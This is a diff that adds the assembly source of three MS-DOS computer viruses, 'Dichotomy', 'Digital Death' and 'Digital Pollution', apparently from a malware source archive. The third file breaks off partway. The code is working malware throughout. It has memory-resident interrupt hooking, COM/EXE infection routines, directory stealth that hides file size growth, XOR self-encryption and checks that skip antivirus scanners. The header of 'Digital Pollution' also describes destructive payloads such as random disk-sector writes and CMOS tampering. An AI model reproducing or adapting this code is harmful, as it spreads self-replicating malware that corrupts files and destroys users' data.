diff --git a/MSDOS/Virus.MSDOS.Unknown.dichotom.asm b/MSDOS/Virus.MSDOS.Unknown.dichotom.asm new file mode 100644 index 00000000..4b6d76f2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dichotom.asm @@ -0,0 +1,339 @@ +; Dichotomy Virus +; (c) 1994 Evil Avatar +; +; TASM /M3 DIKOTOMY +; TLINK /X DIKOTOMY +; EXE2BIN DIKOTOMY DIKOTOMY.COM + +.model tiny +.code +org 0 + +;=====( Entry point for COM files )======================================== + +Dichotomy: + call delta +delta: mov bx, sp + mov bp, word ptr ds:[bx] + sub bp, offset delta ;get delta offset + inc sp + inc sp + cmp word ptr ds:[bp+virus1], 'D[' + mov ah, 1ah + lea dx, [bp+newDTA] ;buffer for new DTA + int 21h ;set new disk transfer address + mov ah, 4eh + mov cx, 7 ;any attribute + lea dx, [bp+FileName] ;host name + int 21h ;find second host file + jc maybe_host ;if carry, then we need a new host + mov ax, 3d00h + int 21h ;open second host + xchg ax, bx ;handle is better in bx + mov ax, 4200h + sub cx, cx + mov dx, word ptr ds:[bp+newDTA+1ah] + sub dx, (offset heap-offset loader2) + int 21h ;move pointer to virus code + mov ah, 3fh + mov cx, (offset heap-offset loader2) + lea dx, [bp+loader2] + int 21h ;read in second part of virus + mov ah, 3eh + int 21h ;close the file +maybe_host: + mov ah, 51h + int 21h ;check if resident + inc bx ;if resident, PSP should be -1 + jz resident ;yes? kewl! + cmp word ptr ds:[bp+virus1], 'D[' ;check if we are fully here + je go_res ;yes? we need to go resident +return: mov ah, 1ah + mov dx, 80h + int 21h ;restore DTA + lea si, [bp+comfix] ;offset of first 3 bytes of file + mov di, 100h ;start of .com file + mov ax, di + push ax + movsw + movsb + retn +resident: cmp word ptr ds:[bp+virus1], 'D[' ;is the second host here? + je return ;yes? return to program + mov ah, 62h + int 21h ;request new host + jmp return ;return to host +go_res: jmp loader2 ;go memory resident + +;=====( Variables )======================================================== + +comfix db 0cdh, 20h, 0 ;first 3 bytes of .com file +virus db '[Dichotomy]', 0 ;virus name +author db '(c) 1994 Evil Avatar', 0 ;me +FileName db 'DIKOTOMY.COM', 0, 73h dup (?) ;second host name +loader1_end: + +;=====( Go memory resident )=============================================== + +loader2: + mov byte ptr ds:[bp+count], 0 ;infections = 0 + mov ah, 'E' + xor ah, 0fh + mov bx, -1 + int 21h ;get available memory + mov ah, 'A' + xor ah, 0bh + sub bx, (virus_end-Dichotomy+15)/16+1 + int 21h ;create a hole in memory + mov ax, 3521h + int 21h ;get int 21h handler + mov word ptr [bp+save21], bx + mov word ptr [bp+save21+2], es ;save int 21h vector + mov ah, 'E' + xor ah, 0dh + mov bx, (virus_end-Dichotomy+15)/16 + int 21h ;allocate the memory + mov es, ax ;es is high virus segment + mov cx, (virus_end-Dichotomy+1)/2 + lea si, [bp+Dichotomy] + sub di, di + rep movsw ;copy ourself up there + push es + pop ds ;save virus seg for int 21h change + dec ax ;MCB segment + mov es, ax + mov word ptr es:[1], 8 ;make DOS the owner of our segment + mov ax, 4541h + sub ax, 2020h + lea dx, [int21] + int 21h ;set new int 21h handler + push cs cs + pop ds es ;restore PSP segments + jmp return ;return to host + +;=====( Find a new host )================================================== + +request: push ds di si cx cs + pop ds ;save registers + mov di, bp ;set up scan registers + sub si, si + mov cx, 5 + repe cmpsw ;scan to see if it is us + jne restore1 ;no? let dos take care of it + mov ax, 4300h + lea dx, [WhatRun] + int 21h ;get attributes of file + push cx ;save them + mov ax, 4301h + sub cx, cx + int 21h ;clear attributes + mov ax, 3d02h + int 21h ;open file read/write + xchg ax, bx + mov ax, 5700h + int 21h ;get file date/time + and cx, 1fh ;get seconds + cmp cx, 1fh ;is it 62? + je cant_fix ;can't fix this file + mov ax, 4202h + sub cx, cx + cwd + int 21h ;go to end of file + mov ah, 40h + mov cx, (heap-loader2) + lea dx, [loader2] + int 21h ;copy to end of file + mov ax, 5700h + int 21h ;get file date/time + or cx, 1fh + mov ax, 5701h + int 21h +cant_fix: mov ax, 4301h + pop cx ;get attributes + int 21h ;restore attributes + mov ah, 3eh + int 21h ;close file +restore1: pop cx si di ds ;restore registers + jmp dos21 ;go to dos + +;=====( Interrupt 21h handler )============================================ + +int21: inc ah + cmp ah, 4ch ;execute file + je infect ;infect it + dec ah + cmp ah, 51h ;install check + je install_check + cmp ah, 62h ;request for new host + je _request +dos21: jmp dword ptr cs:[save21] ;call dos +_request: jmp request + +;=====( Installation check )=============================================== + +install_check: + push di si cx ds cs + pop ds ;save registers + mov di, bp ;set up scan registers + sub si, si + mov cx, 5 + repe cmpsw ;scan to see if it is us + jne restore ;no? let dos take care of it + mov bx, -1 ;return code + pop ds ;restore ds + add sp, 6 ;fix stack + iret ;return +restore: pop cx si di ds ;restore registers + jmp dos21 ;go to dos + +;=====( Infection routine )================================================ + +infect: dec ah + call push_all ;save registers + push cs + pop es ;es equals code segment + mov si, dx + lea di, [WhatRun] + mov cx, 40h + rep movsw ;save filename in buffer + mov si, dx ;ds:si equals file name + lea di, [FileName] + mov ax, 4300h + int 21h ;get attributes of file + push cx ;save them + mov ax, 4301h + sub cx, cx + int 21h ;clear attributes + mov ax, 3d02h + int 21h ;open file read/write + xchg ax, bx ;put handle in bx + mov ax, 5700h + int 21h ;get file time/date + and cx, 1fh ;get seconds + cmp cx, 1eh ;is 60 or 62? + jae already_inf ;then already infected + lodsb ;get drive letter + dec si ;point to filename again + and al, 5fh ;make it uppercase + cmp al, 'C' ;is it C or higher? + jb _single ;no? we must fully infect it + cmp byte ptr cs:[count], 1 ;have we already done loader 2? + jne do_loader2 ;yes? start doing loader 1s +do_loader1: + call inf_loader1 + jmp done_inf +do_loader2: + call inf_loader2 + jmp done_inf +_single: push si di + mov cx, 40h + rep movsw ;save filename in buffer + pop di si + call inf_loader1 + call inf_loader2 + mov byte ptr cs:[count], 0 +done_inf: mov ah, 3eh + int 21h ;close file +already_inf: + mov ax, 4301h + pop cx ;get attributes + int 21h ;restore attributes + call pop_all ;restore registers + jmp dos21 ;call dos + +;=====( Infect file with loader 1 )======================================== + +inf_loader1: + push si di ds dx cs ;save filename and other stuff + pop ds + mov byte ptr ds:[count], 0 ;do loader 2 from now on + mov ah, 3fh + mov cx, 3 + lea dx, [comfix] + int 21h ;read in first 3 bytes + mov ax, 4202h + sub cx, cx + cwd + int 21h ;go to end of file + or dx, dx + jnz bad_file + cmp ax, 65024-(virus_end-Dichotomy) ;see if file is too big + jae bad_file + mov cx, word ptr ds:[comfix] + cmp cx, 'M'+'Z' + jz bad_file ;can't infect .exe's + sub ax, 3 ;calculate jump + mov word ptr ds:[buffer], ax ;set up jump + mov ah, 40h + mov cx, (loader1_end-Dichotomy) + cwd + int 21h ;copy virus to end of file + mov ax, 4200h + sub cx, cx + cwd + int 21h ;go to beginning of file + mov ah, 40h + mov cx, 3 + lea dx, [buffer-1] + int 21h ;copy jump to beginning + mov ax, 5700h + int 21h ;get file time/date + mov ax, 5701h + or cx, 1eh + and cx, 0fffeh ;set to 60 seconds + int 21h ;set new file time +bad_file: pop dx ds di si + retn + +;=====( Infect file with loader 2 )======================================== + +inf_loader2: + push ds dx ;save file name + mov cx, 40h + rep movsw ;save filename in buffer + push cs + pop ds ;ds needs to be code segment + mov byte ptr ds:[count], 1 ;do loader 1 from now on + mov ax, 4202h + sub cx, cx + cwd + int 21h ;go to end of file + mov ah, 40h + mov cx, (heap-loader2) + lea dx, [loader2] + int 21h ;copy to end of file + mov ax, 5700h + int 21h ;get file date/time + or cx, 1fh ;set to 62 seconds + mov ax, 5701h + int 21h ;set new file time + pop dx ds ;restore file name + retn ;return to caller + +;=====( Push all registers )=============================================== + +push_all: pop word ptr cs:[p_all] ;save return code + push ax bx cx dx bp si di ds es ;save registers + pushf ;save flags + jmp word ptr cs:[p_all] ;return to caller + +;=====( Pop all registers )================================================ + +pop_all: pop word ptr cs:[p_all] ;save return code + popf ;restore flags + pop es ds di si bp dx cx bx ax ;restore registers + jmp word ptr cs:[p_all] ;return to caller + +;=====( More variables )=================================================== + +virus1 db '[Dichotomy]', 0 ;virus signature + db 0e9h ;jump cs:xxxx +heap: +buffer dw ? ;jump buffer +newDTA db 2bh dup (?) ;replacement disk transfer address +save21 dd ? ;interrupt 21h vector +p_all dw ? ;push/pop return value +count db ? ;infection count +WhatRun db 80h dup (?) +virus_end: +end Dichotomy diff --git a/MSDOS/Virus.MSDOS.Unknown.digdeath.asm b/MSDOS/Virus.MSDOS.Unknown.digdeath.asm new file mode 100644 index 00000000..1baac25d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.digdeath.asm @@ -0,0 +1,526 @@ +; ------------------------------------------------------------------------------ +; +; - Digital Death - +; Created by Immortal Riot's destructive development team +; (c) 1994 Raver/Immortal Riot +; +;------------------------------------------------------------------------------- +; ž Memory Resident Stealth Infector of COM/EXE programs ž +;------------------------------------------------------------------------------- +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; DIGITAL DEATH - ver 0.90į +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + + org 100h + +vir_size equ end_of_virus-start_of_virus + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Non-resident Install code +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +start_of_virus: + call get_delta +get_delta: ;get the delta offset + mov di,sp + mov bp,word ptr ss:[di] + sub bp,offset get_delta + + push cs + pop ds + + call encrypt_decrypt ;decrypt virus + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Start of encrypted area +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +install_code: + + mov ax,es ;restore segments now due to prefetch!! + add ax,10h + add word ptr cs:[bp+EXEret+2],ax + add word ptr cs:[bp+EXEstack],ax + + push es + + mov ax,7979h ;check if already in mem + int 21h + cmp ax,'iR' + je already_resident + + mov ah,4ah ;get #of available paragraphs in bx + mov bx,0ffffh + int 21h + + sub bx,(vir_size+15)/16+1 ;recalculate and + mov ah,4ah + int 21h + + mov ah,48h ;allocate enough mem for virus + mov bx,(vir_size+15)/16 + int 21h + jc already_resident ;exit if error + + dec ax ;ax-1 = MCB + mov es,ax + mov word ptr es:[1],8 ;Mark DOS as owner + + push ax ;save for later use + + mov ax,3521h ;get interrupt vector for int21h + int 21h + mov word ptr ds:[OldInt21h],bx + mov word ptr ds:[OldInt21h+2],es + + pop ax ;ax = MCB for allocated mem + push cs + pop ds + + cld ;cld for movsw + sub ax,0fh ;es:[100h] = start of allocated mem + mov es,ax + mov di,100h + lea si,[bp+offset start_of_virus] + mov cx,(vir_size+1)/2 ;copy entire virii to mem + rep movsw + + push es + pop ds + + mov dx,offset new_int21h ;hook int21h to new_int21h + mov ax,2521h + int 21h + +already_resident: + + push cs + push cs + pop es + pop ds + + cmp byte ptr [bp+COMflag],1 ;check if COM or EXE + jne exit_EXE + +exit_COM: ;exit procedure for COMs + mov di,100h + lea si,[bp+COMret] + mov cx,3 + rep movsb ;restore first three bytes + + pop es ;and jmp to beginning + mov ax,100h + jmp ax + +exit_EXE: ;exit procedure for EXEs + pop es + mov ax,es ;restore segment regs and ss:sp + mov ds,ax + cli + mov ss,word ptr cs:[bp+EXEstack] + mov sp,word ptr cs:[bp+EXEstack+2] + sti + +db 0eah ;and jmp to cs:ip +EXEret db 0,0,0,0 +EXEstack dd 0 + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; New int 21h handler +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +new_int21h: + + cmp ax,7979h ;return installation check + jne continue + mov ax,'iR' + iret +continue: + cmp ax,4b00h ;check for exec? + jne check_dir + jmp infect +check_dir: + cmp ah,11h ;if dir function 11h, 12h + je hide_dir + cmp ah,12h + je hide_dir + cmp ah,4eh ;or function 4eh, 4fh + je hide_dir2 + cmp ah,4fh + je hide_dir2 ;do some dir stealth + cmp ah,3eh ;check for close + jne do_oldint + jmp infect_close +do_oldint: + jmp do_oldint21h ;else do original int 21h + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Dir stealth routines +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +hide_dir: ;FCB stealth routine + pushf ;simulate a int call with pushf + push cs ;and cs, ip on the stack + call do_oldint21h + or al,al ;was the dir call sucessfull?? + jnz skip_dir ;if not skip it + + push ax bx es ;preserve registers in use + + mov ah,62h ;same as 51h - get current PSP to es:bx + int 21h + mov es,bx + cmp bx,es:[16h] ;is the PSP ok?? + jnz bad_psp ;if not quit + + mov bx,dx + mov al,[bx] ;al holds current drive - FFh means + push ax ;extended FCB + mov ah,2fh ;get DTA-area + int 21h + pop ax + inc al ;is it an extended FCB + jnz no_ext + add bx,7 ;if so add 7 +no_ext: + mov al,byte ptr es:[bx+17h] ;get seconds field + and al,1fh + xor al,1dh ;is the file infected?? + jnz no_stealth ;if not - don't hide size + + cmp word ptr es:[bx+1dh],vir_size ;if size is smaller than vir_size + ja hide_it + cmp word ptr es:[bx+1fh],0 ;it can't be infected + je no_stealth ;so don't hide it +hide_it: + sub word ptr es:[bx+1dh],vir_size ;else sub vir_size + sbb word ptr es:[bx+1fh],0 +no_stealth: +bad_psp: + pop es bx ax ;restore regs +skip_dir: + iret ;return to program + +hide_dir2: + pushf ;simulate a int call - push flags, cs and + push cs ;ip on stack and jump to int handler + call do_oldint21h + jc eofs ;if no more files - return + + push ax es bx ;preserve registers + mov ah,2fh ;get DTA-area + int 21h + + mov ax,es:[bx+16h] + and ax,1fh ;is the PSP ok?? + xor al,29 + jnz not_inf ; if not - jmp + + cmp word ptr es:[bx+1ah],vir_size ;don't sub too small files + ja sub_it + cmp word ptr es:[bx+1ch],0 + je not_inf +sub_it: + sub word ptr es:[bx+1ah],vir_size ;sub vir_size + sbb word ptr es:[bx+1ch],0 +not_inf: + pop bx es ax ;restore registers +eofs: + retf 2 ;return and pop 2 of stack + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Infect on close routine +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +infect_close: + push es bp ax bx cx si di ds dx + cmp bx,4 ;don't close NULL, AUX and so + jbe no_close + + call check_name ;es:di points to file name + add di,8 ;es:di points to extension + cmp word ptr es:[di],'OC' + jne try_again + cmp byte ptr es:[di+2],'M' ;if COM or EXE - infect + je close_infection +try_again: + cmp word ptr es:[di],'XE' + jne no_close + cmp byte ptr es:[di+2],'E' + je close_infection + +no_close: + pop dx ds di si cx bx ax bp es ;otherwise jmp to oldint + jmp do_oldint21h + +close_infection: + mov byte ptr es:[di-26h],2 ;mark read & write access + mov cs:Closeflag,1 ;raise closeflag for exit procedure + mov ax,4200h ;rewind file + xor cx,cx + cwd + int 21h + jmp infect_on_close ;infect it + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Determine file name for open handle +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +check_name: + push bx + mov ax,1220h ;get job file table for handle at es:di + int 2fh + + mov ax,1216h ;get system file table + mov bl,byte ptr es:[di] ;for handle index in bx + int 2fh + pop bx + + add di,20h ;es:di+20h points to file name + + ret ;return + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Infection routine +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +infect: + + push es bp ax bx cx si di ds dx + + mov cs:Closeflag,0 ;make sure closeflag is off + + mov ax,4300h ;get attrib + int 21h + push cx + mov ax,4301h ;and clear attrib + xor cx,cx + int 21h + + mov ax,3d02h ;open file + int 21h + xchg ax,bx + +infect_on_close: ;entry point if infection at close + + push cs + push cs + pop ds + pop es + + mov ax,5700h ;save and check time/date stamp + int 21h + push dx + push cx + and cl,1fh + xor cl,1dh + jne read_it + jmp skip_infect + +read_it: + mov ah,3fh ;read first 18h bytes + mov cx,18h + mov dx,offset EXEheader ;to EXEheader + int 21h + + mov byte ptr COMflag,0 ;check if EXE or COM and mark COMflag + cmp word ptr EXEheader,'ZM' + je is_EXE + cmp word ptr EXEheader,'MZ' + je is_EXE + mov byte ptr COMflag,1 + +is_EXE: + mov ax,4202h ;goto end of file + xor cx,cx + cwd + int 21h + + push ax ;else save ax and infect EXE + push es + call check_name + + cmp COMflag,1 ;if COM file continue to infect_COM + je infect_COM + +infect_EXE: + cmp word ptr es:[di],'CS' ;check for common virus scanners + je is_scanner + cmp word ptr es:[di],'BT' + je is_scanner + cmp word ptr es:[di],'-F' + je is_scanner + cmp word ptr es:[di],'OT' + je is_scanner + cmp word ptr es:[di],'IV' + jne no_scanner +is_scanner: + pop es + jmp skip_infect +no_scanner: + pop es + + + mov di,offset EXEret ;EXEret = IP/CS + mov si,offset EXEheader+14h + mov cx,2 + rep movsw + + mov si,offset EXEheader+0eh ;EXEstack = SS/SP + mov cx,2 + rep movsw + + pop ax ;restore ax and + + mov cx,10h + div cx + sub ax,word ptr [EXEheader+8h] + mov word ptr [EXEheader+14h],dx ;calculate CS:IP + mov word ptr [EXEheader+16h],ax + add ax,100 + mov word ptr [EXEheader+0eh],ax ;SS:SP + mov word ptr [EXEheader+10h],100h + jmp short more_infection + +infect_COM: + + cmp word ptr es:[di],'OC' ;dont infect command.com! + pop es + pop ax + jne no_command_com + jmp skip_infect + +no_command_com: + mov di,offset COMret ;transfer first three bytes + mov si,offset EXEheader ;could remove this and transfer + mov cx,3 ;directly from EXEheader instead + rep movsb ;doing so will save approximately 20 bytes + + sub ax,3 ;subtract three from file length + mov byte ptr [EXEheader],0e9h ;and build initial jump + mov word ptr [EXEheader+1],ax + +more_infection: + + mov ah,2ch ;get random number from time + int 21h + mov word ptr ds:[enc_val],dx ;store it + mov ax,08d00h + mov es,ax + mov di,100h + mov si,di + mov cx,(vir_size+1)/2 + rep movsw + push es + pop ds + xor bp,bp + call encrypt_decrypt ;and encrypt + + + mov ah,40h ;write it to file + mov cx,vir_size + mov dx,offset start_of_virus + int 21h + + push cs + pop ds + + cmp byte ptr COMflag,0 ;if COM file skip the next part + jne goto_start + + mov ax,4202h ;go to end of file + xor cx,cx + cwd + int 21h + + mov cx,512 ;recalculate new file length in 512- + div cx ;byte pages + inc ax + mov word ptr [EXEheader+2],dx + mov word ptr [EXEheader+4],ax + +goto_start: + mov ax,4200h ;go to beginning of file + xor cx,cx + cwd + int 21h + + cmp byte ptr [COMflag],1 ;if COM-file write first three bytes + je write_3 + mov cx,18h ;else write whole EXE header + jmp short write_18h +write_3: + mov cx,3 +write_18h: + mov dx,offset EXEheader + mov ah,40h + int 21h + +skip_infect: ;restore time/date and mark infected + mov ax,5701h + pop cx + pop dx + or cl,00011101b + and cl,11111101b + int 21h + + cmp byte ptr cs:[Closeflag],1 ;if infection on close - don't close file + je dont_close + mov ah,3eh + int 21h + pop cx +dont_close: + pop dx + pop ds + cmp byte ptr cs:[Closeflag],1 ;and don't restore attrib + je exit_close + mov ax,4301h + int 21h +exit_close: + mov byte ptr cs:Closeflag,0 ;unmark infection on close + + pop di si cx bx ax bp es + +do_oldint21h: ;jump to old int21h +db 0eah +OldInt21h dd 0 + +Closeflag db 0 +COMflag db 1 +COMret db 0cdh,20h,00h +EXEheader db 18h dup(0) +signature db "Digital Death - v0.90į (c) '94 Raver/Immortal Riot" + +end_of_encryption: + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; End of encryption - the code below this point is unencrypted +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +enc_val dw 0 ;value to en/decrypt with + +encrypt_decrypt: + mov dx,word ptr ds:[bp+enc_val] + lea si,[bp+install_code] + mov cx,(end_of_encryption-install_code)/2 +loopy: + xor word ptr ds:[si],dx ;simple ordinary xor-loop + inc si ;encryption + inc si + loop loopy + ret + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; End of virus +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +end_of_virus: +cseg ends + end start_of_virus + diff --git a/MSDOS/Virus.MSDOS.Unknown.digipol.asm b/MSDOS/Virus.MSDOS.Unknown.digipol.asm new file mode 100644 index 00000000..c9a4a3a1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.digipol.asm @@ -0,0 +1,513 @@ +; VirusName : Digital Pollution +; Origin : Sweden +; Author : Raver +; Group : Immortal Riot +; Date : 25/07/94 + +; It's been a while since I released my last virus but here's a new one +; anyway. +; +; It's a pretty simple resident non-overwriting .com-infector with +; basic stealth function. Of course it restores time/date/attrib +; and stuff like that. It hooks int 21h and infects on execute +; and open (4b00h/3dh). If a "dir" command is executed it will hide +; the new filesize of infected size by hooking 11h/12h (Find first/next +; the FCB way). The comments is, I think, pretty OK and easy to follow. +; +; As we have started to make out viruses a bit more destructive I've +; included some nuking routines. The virus hooks int 25h (read sector) +; at install and every time it's called there is a 3 % chance that it +; will execute a int 26h instead (write sector). It also includes a +; routine to change the CMOS values for the HD/floppy. Every time an +; infected file is executed it's 2 % chance that this will be activated +; and if so the HD will be set to 20MB and the floppy to 360kb. +; Though this can easily be restored it can cause the novice to do +; some unpredictable things before he really detects the real error. +; (like formating floppys or HD or call his hardware vendor :) +; Also if it's the swedish national day (06/06) it will play some of +; the swedish national antheme. It's completely undestructive but +; what the phuck, it could be fun. + +; At last some credits to Macaroni Ted 'cause I've borrowed the +; play_song routine from his CyberCide Virus. + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; DIGITAL POLLUTION +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + + org 100h + +vir_size equ end_of_virus-start_of_virus + +start_of_virus: + jmp entry_point + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Install code +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +install: + + mov ax,7777h ;check if we're already in mem + int 21h + cmp ax,'iR' ;if so - jmp already_resident + je already_resident + + mov ah,2ah ;get data + int 21h + cmp dx,0606h ;if it's Sweden's national day + jne dont_play ;play the national antheme + call play_song +dont_play: + + mov ah,4ah ;get #of available paragraphs in bx + mov bx,0ffffh + int 21h + + sub bx,(vir_size+15)/16+1 ;recalculate and + mov ah,4ah + int 21h + + mov ah,48h ;allocate enough mem for virus + mov bx,(vir_size+15)/16 + int 21h + jc already_resident ;exit if error + + dec ax ;ax-1 = MCB + mov es,ax + mov word ptr es:[1],8 ;Mark DOS as owner + + push ax ;save for later use + + mov ax,3521h ;get interrupt vectors for 21, 25 & 26h + int 21h + mov word ptr ds:[OldInt21h],bx + mov word ptr ds:[OldInt21h+2],es + + mov al,25h + int 21h + mov word ptr ds:[old_int25h],bx + mov word ptr ds:[old_int25h+2],es + + inc al + int 26h + mov word ptr ds:[int26h],bx + mov word ptr ds:[int26h+2],es + + pop ax ;ax = MCB for allocated mem + push cs + pop ds + + cld ;cld for movsw + sub ax,0fh ;es:[100h] = start of allocated mem + mov es,ax + mov di,100h + lea si,[bp+offset start_of_virus] + mov cx,(vir_size+1)/2 ;copy entire virii to mem + rep movsw ;this way keeps the original offsets + ;in the int handler + push es + pop ds + + mov dx,offset new_int21h ;hook int21h to new_int21h + mov ax,2521h + int 21h + +already_resident: + mov di,100h ;restore the 3 first bytes to it's + push cs ;original position + push cs + pop es + pop ds + lea si,[bp+orgbuf] + mov cx,3 + rep movsb + + mov ah,2ch ;get time + int 21h + cmp dl,1 ;about 2% chance of a CMOS nuke + ja exit + call screw_cmos +exit: + mov ax,100h ;return control to original program + jmp ax ;at cs:100h + +orgbuf db 0cdh,20h,90h ;buffer to save the 3 first bytes +newbuf db 0e9h,00h,00h ;buffer to calculate a new entry + ;offset + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; new interrupt 21h handler +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +new_int21h: + + cmp ax,7777h ;is it residency check?? + jne continue + mov ax,'iR' ;if so return 'iR' + iret +continue: + cmp ax,4b00h ;check for exec + je infect +check_open: + cmp ah,3dh ;check for open + jne check_dir + jmp check_com ;if si check if .com file +check_dir: + cmp ah,11h ;is it a dir call?? + je hide_dir 